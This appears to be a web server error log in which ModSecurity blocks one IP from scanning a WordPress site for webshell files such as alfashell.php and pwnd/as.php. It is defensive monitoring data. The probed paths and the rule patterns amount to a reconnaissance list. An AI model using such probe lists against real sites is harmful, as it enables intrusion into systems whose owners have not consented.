[Thu Apr 16 21:44:21.816509 2026] [:error] [pid 49094:tid 49099] [client 51.13.190.245:30646] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wen.php"] [unique_id "aeDntTbDwvcXorHR_MzvHgAAAUM"]
[Thu Apr 16 21:44:22.425866 2026] [:error] [pid 57639:tid 57663] [client 51.13.190.245:33232] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "aeDntqMCQoTw7TsxWunBsAAAANE"]
[Thu Apr 16 21:44:23.310340 2026] [:error] [pid 7880:tid 7899] [client 51.13.190.245:33433] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "aeDnt6aezm4fSGc0yUK0nAAAAY4"]
[Thu Apr 16 21:44:24.159324 2026] [:error] [pid 7880:tid 7896] [client 51.13.190.245:47673] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "aeDnuKaezm4fSGc0yUK0oAAAAYs"]
[Thu Apr 16 21:44:24.991069 2026] [:error] [pid 57639:tid 57651] [client 51.13.190.245:33232] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "aeDnuKMCQoTw7TsxWunBvQAAAMU"]
[Thu Apr 16 21:44:25.777785 2026] [:error] [pid 57538:tid 57608] [client 51.13.190.245:47630] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "aeDnucuMaiEF5SVR2BfqBAAAAIY"]
[Thu Apr 16 21:44:26.359176 2026] [:error] [pid 57536:tid 57554] [client 51.13.190.245:24655] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "aeDnuiQU4faGja6jpDuK_QAAAAY"]
[Thu Apr 16 21:44:26.949356 2026] [:error] [pid 7880:tid 7908] [client 51.13.190.245:33469] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "aeDnuqaezm4fSGc0yUK0pwAAAZc"]
[Thu Apr 16 21:44:27.531138 2026] [:error] [pid 57639:tid 57653] [client 51.13.190.245:21278] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "aeDnu6MCQoTw7TsxWunBwwAAAMc"]
[Thu Apr 16 21:44:28.145864 2026] [:error] [pid 57639:tid 57660] [client 51.13.190.245:33267] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fe5.php"] [unique_id "aeDnvKMCQoTw7TsxWunBzgAAAM4"]
[Thu Apr 16 21:44:28.695322 2026] [:error] [pid 57639:tid 57658] [client 51.13.190.245:47467] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fe5.php"] [unique_id "aeDnvKMCQoTw7TsxWunB2AAAAMw"]
[Thu Apr 16 21:44:56.210850 2026] [:error] [pid 57639:tid 57661] [client 51.13.190.245:53548] [client 51.13.190.245] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aeDn2KMCQoTw7TsxWunCNQAAAM8"]
[Thu Apr 16 21:45:04.189625 2026] [autoindex:error] [pid 7880:tid 7887] [client 51.13.190.245:53545] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 16 21:45:04.456769 2026] [autoindex:error] [pid 7880:tid 7900] [client 51.13.190.245:29880] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/SimplePie/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 16 21:45:17.588334 2026] [:error] [pid 7880:tid 7908] [client 51.13.190.245:29880] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bal.php"] [unique_id "aeDn7aaezm4fSGc0yUK0_wAAAZc"]
[Thu Apr 16 21:45:18.253179 2026] [:error] [pid 57536:tid 57564] [client 51.13.190.245:24679] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bal.php"] [unique_id "aeDn7iQU4faGja6jpDuLTAAAABA"]
[Thu Apr 16 21:45:18.898388 2026] [:error] [pid 57639:tid 57665] [client 51.13.190.245:33450] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bal.php"] [unique_id "aeDn7qMCQoTw7TsxWunClAAAANM"]
[Thu Apr 16 21:45:19.551675 2026] [:error] [pid 7880:tid 7889] [client 51.13.190.245:33420] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bal.php"] [unique_id "aeDn76aezm4fSGc0yUK1AAAAAYQ"]
[Thu Apr 16 21:45:20.216546 2026] [:error] [pid 57538:tid 57606] [client 51.13.190.245:25183] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/in.php"] [unique_id "aeDn8MuMaiEF5SVR2BfqJAAAAIQ"]
[Thu Apr 16 21:45:20.799579 2026] [:error] [pid 57538:tid 57607] [client 51.13.190.245:30624] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/in.php"] [unique_id "aeDn8MuMaiEF5SVR2BfqJwAAAIU"]
[Thu Apr 16 21:45:21.548975 2026] [:error] [pid 29603:tid 29610] [client 51.13.190.245:53543] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/in.php"] [unique_id "aeDn8VfGOR6fpTWUAzqfGwAAAQU"]
[Thu Apr 16 21:45:22.090443 2026] [:error] [pid 7880:tid 7891] [client 51.13.190.245:30600] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/in.php"] [unique_id "aeDn8qaezm4fSGc0yUK1BgAAAYY"]
[Thu Apr 16 21:45:22.718966 2026] [:error] [pid 7880:tid 7909] [client 51.13.190.245:30610] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gssdd.php"] [unique_id "aeDn8qaezm4fSGc0yUK1CAAAAZg"]
[Thu Apr 16 21:45:23.260554 2026] [:error] [pid 57639:tid 57670] [client 51.13.190.245:21248] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gssdd.php"] [unique_id "aeDn86MCQoTw7TsxWunCqQAAANg"]
[Thu Apr 16 21:45:23.919544 2026] [:error] [pid 57639:tid 57649] [client 51.13.190.245:30654] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gssdd.php"] [unique_id "aeDn86MCQoTw7TsxWunCsAAAAMM"]
[Thu Apr 16 21:45:24.521785 2026] [:error] [pid 57639:tid 57652] [client 51.13.190.245:47660] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gssdd.php"] [unique_id "aeDn9KMCQoTw7TsxWunCtAAAAMY"]
[Thu Apr 16 21:45:25.093290 2026] [:error] [pid 57639:tid 57666] [client 51.13.190.245:47436] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "aeDn9aMCQoTw7TsxWunCtwAAANQ"]
[Thu Apr 16 21:45:25.782021 2026] [:error] [pid 57639:tid 57669] [client 51.13.190.245:29870] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "aeDn9aMCQoTw7TsxWunCuQAAANc"]
[Thu Apr 16 21:45:26.405443 2026] [:error] [pid 57639:tid 57650] [client 51.13.190.245:30593] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "aeDn9qMCQoTw7TsxWunCvQAAAMQ"]
[Thu Apr 16 21:45:27.273158 2026] [:error] [pid 57639:tid 57655] [client 51.13.190.245:47469] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "aeDn96MCQoTw7TsxWunCxgAAAMk"]
[Thu Apr 16 21:45:28.107388 2026] [:error] [pid 7880:tid 7885] [client 51.13.190.245:29847] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bs1.php"] [unique_id "aeDn-Kaezm4fSGc0yUK1EQAAAYA"]
[Thu Apr 16 21:45:28.754078 2026] [:error] [pid 7880:tid 7894] [client 51.13.190.245:33235] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bs1.php"] [unique_id "aeDn-Kaezm4fSGc0yUK1EgAAAYk"]
[Thu Apr 16 21:45:29.511855 2026] [:error] [pid 49094:tid 49112] [client 51.13.190.245:33233] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bs1.php"] [unique_id "aeDn-TbDwvcXorHR_MzvyQAAAVA"]
[Thu Apr 16 21:45:31.104505 2026] [:error] [pid 57639:tid 57659] [client 51.13.190.245:47457] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bs1.php"] [unique_id "aeDn-6MCQoTw7TsxWunC0AAAAM0"]
[Thu Apr 16 21:45:32.242941 2026] [:error] [pid 57537:tid 57575] [client 51.13.190.245:52341] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bengi.php"] [unique_id "aeDn_FVQRS8nm73ENAm9PAAAAEA"]
[Thu Apr 16 21:45:33.207560 2026] [:error] [pid 57537:tid 57599] [client 51.13.190.245:33265] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bengi.php"] [unique_id "aeDn_VVQRS8nm73ENAm9QgAAAFg"]
[Thu Apr 16 21:45:34.136653 2026] [:error] [pid 49094:tid 49103] [client 51.13.190.245:30644] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bengi.php"] [unique_id "aeDn_jbDwvcXorHR_Mzv3gAAAUc"]
[Thu Apr 16 21:45:35.693018 2026] [:error] [pid 7880:tid 7900] [client 51.13.190.245:53552] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bengi.php"] [unique_id "aeDn_6aezm4fSGc0yUK1JwAAAY8"]
[Thu Apr 16 21:45:36.934174 2026] [:error] [pid 7880:tid 7905] [client 51.13.190.245:24696] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aeDoAKaezm4fSGc0yUK1MQAAAZQ"]
[Thu Apr 16 21:45:37.933547 2026] [:error] [pid 57639:tid 57649] [client 51.13.190.245:52308] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aeDoAaMCQoTw7TsxWunC3gAAAMM"]
[Thu Apr 16 21:45:39.035066 2026] [:error] [pid 29603:tid 29610] [client 51.13.190.245:30650] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aeDoA1fGOR6fpTWUAzqfMQAAAQU"]
[Thu Apr 16 21:45:40.106248 2026] [:error] [pid 57536:tid 57552] [client 51.13.190.245:52317] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aeDoBCQU4faGja6jpDuLWAAAAAQ"]
[Thu Apr 16 21:45:41.540530 2026] [:error] [pid 57537:tid 57580] [client 51.13.190.245:47625] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/axx.php"] [unique_id "aeDoBVVQRS8nm73ENAm9SgAAAEU"]
[Thu Apr 16 21:45:42.558772 2026] [:error] [pid 57538:tid 57623] [client 51.13.190.245:33465] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/axx.php"] [unique_id "aeDoBsuMaiEF5SVR2BfqPAAAAJU"]
[Thu Apr 16 21:45:43.234840 2026] [:error] [pid 57639:tid 57665] [client 51.13.190.245:52303] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/axx.php"] [unique_id "aeDoB6MCQoTw7TsxWunC-AAAANM"]
[Thu Apr 16 21:45:44.082819 2026] [:error] [pid 49094:tid 49100] [client 51.13.190.245:52332] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/axx.php"] [unique_id "aeDoCDbDwvcXorHR_Mzv9AAAAUQ"]
[Thu Apr 16 21:45:45.772699 2026] [:error] [pid 57639:tid 57650] [client 51.13.190.245:33225] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfashell.php"] [unique_id "aeDoCaMCQoTw7TsxWunDCgAAAMQ"]
[Thu Apr 16 21:45:46.848315 2026] [:error] [pid 49094:tid 49098] [client 51.13.190.245:33422] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfashell.php"] [unique_id "aeDoCjbDwvcXorHR_Mzv-gAAAUI"]
[Thu Apr 16 21:45:48.681518 2026] [:error] [pid 57536:tid 57550] [client 51.13.190.245:47655] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfashell.php"] [unique_id "aeDoDCQU4faGja6jpDuLZAAAAAI"]
[Thu Apr 16 21:45:49.996061 2026] [:error] [pid 7880:tid 7899] [client 51.13.190.245:24684] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfashell.php"] [unique_id "aeDoDaaezm4fSGc0yUK1PwAAAY4"]
[Thu Apr 16 21:45:54.098009 2026] [:error] [pid 49094:tid 49110] [client 51.13.190.245:53506] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gettest.php"] [unique_id "aeDoEjbDwvcXorHR_MzwEAAAAU4"]
[Thu Apr 16 21:45:55.299691 2026] [:error] [pid 57538:tid 57614] [client 51.13.190.245:52340] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gettest.php"] [unique_id "aeDoE8uMaiEF5SVR2BfqQwAAAIw"]
[Thu Apr 16 21:45:56.581914 2026] [:error] [pid 57639:tid 57653] [client 51.13.190.245:13281] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gettest.php"] [unique_id "aeDoFKMCQoTw7TsxWunDPAAAAMc"]
[Thu Apr 16 21:45:58.295917 2026] [:error] [pid 57536:tid 57559] [client 51.13.190.245:13296] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gettest.php"] [unique_id "aeDoFiQU4faGja6jpDuLcAAAAAs"]
[Thu Apr 16 21:46:00.092812 2026] [:error] [pid 57536:tid 57561] [client 51.13.190.245:52329] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/acp.php"] [unique_id "aeDoGCQU4faGja6jpDuLcgAAAA0"]
[Thu Apr 16 21:46:03.482693 2026] [:error] [pid 57639:tid 57662] [client 51.13.190.245:33251] [client 51.13.190.245] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/acp.php"] [unique_id "aeDoG6MCQoTw7TsxWunDnwAAANA"]
